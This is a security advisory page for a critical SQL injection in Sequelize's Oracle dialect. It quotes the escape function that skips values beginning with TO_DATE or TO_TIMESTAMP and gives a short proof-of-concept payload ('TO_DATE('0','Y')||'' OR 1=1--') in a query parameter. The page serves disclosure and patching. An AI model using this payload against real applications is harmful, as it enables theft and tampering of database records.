Vulnerability GHSA-v8fg-2rw7-q452
Critical
CRITICAL RISK
CVSS Score: 9.8
Score Range: 9.0–10.0
Critical severity vulnerabilities (CVSS 9.0–10.0). These represent the highest impact issues.
4 months ago
August 03, 2026 at 08:29 PM UTC
Sequelize: SQL Injection (Oracle DB)
<6.37.4
<6.37.4
Summary
Sequelize: SQL Injection (Oracle DB)
Details
Summary
SQL Injection is possible with strings only if dialect is set to oracle. The vulnerability was confirmed on Sequelize v6.37.3.
Details
The escape function defined in sql-string.js does not escape quotes if the value starts with TO_TIMESTAMP or TO_DATE.
} else if (dialect === 'oracle' && typeof val === 'string') {
if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
return val;
}
val = val.replace(/'/g, "''");
}
PoC
Suppose the application has the following code:
var result = await models.Student.findOne({
where: {
firstName: req.query.firstName
}
});
An attacker can inject arbitrary sql expressions.
http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--
The resulted SQL will be:
SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;
Impact
Data theft and tampering.
Related Vulnerabilities
Other vulnerabilities affecting the same packages
High Risk
8 months ago
Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type
>=6.0.0-beta.1 <6.37.8 GHSA-6457-6jrx-69cr
>=6.0.0-beta.1 <6.37.8 GHSA-6457-6jrx-69cr
Critical
3 years ago
Sequelize - Default support for “raw attributes” when using parentheses
<6.29.0 GHSA-f598-mfpv-gmfx
<6.29.0 GHSA-f598-mfpv-gmfx
Critical
3 years ago
Unsafe fall-through in getWhereConditions
<6.28.1 GHSA-vqfx-gj96-3w95
<6.28.1 GHSA-vqfx-gj96-3w95
Critical
3 years ago
Sequelize vulnerable to SQL Injection via replacements
<6.19.1 GHSA-wrh9-cjv3-2hpw
<6.19.1 GHSA-wrh9-cjv3-2hpw
Medium Risk
3 years ago
Sequelize information disclosure vulnerability
<6.28.1 GHSA-8c25-f3mj-v6h8
<6.28.1 GHSA-8c25-f3mj-v6h8
Impacted packages
Timeline
Published
4 months ago
August 03, 2026 at 08:29 PM UTC
Fixed (6.37.4)
2 years ago
October 04, 2024 at 02:21 PM UTC
Last Modified
4 months ago
August 03, 2026 at 08:56 PM UTC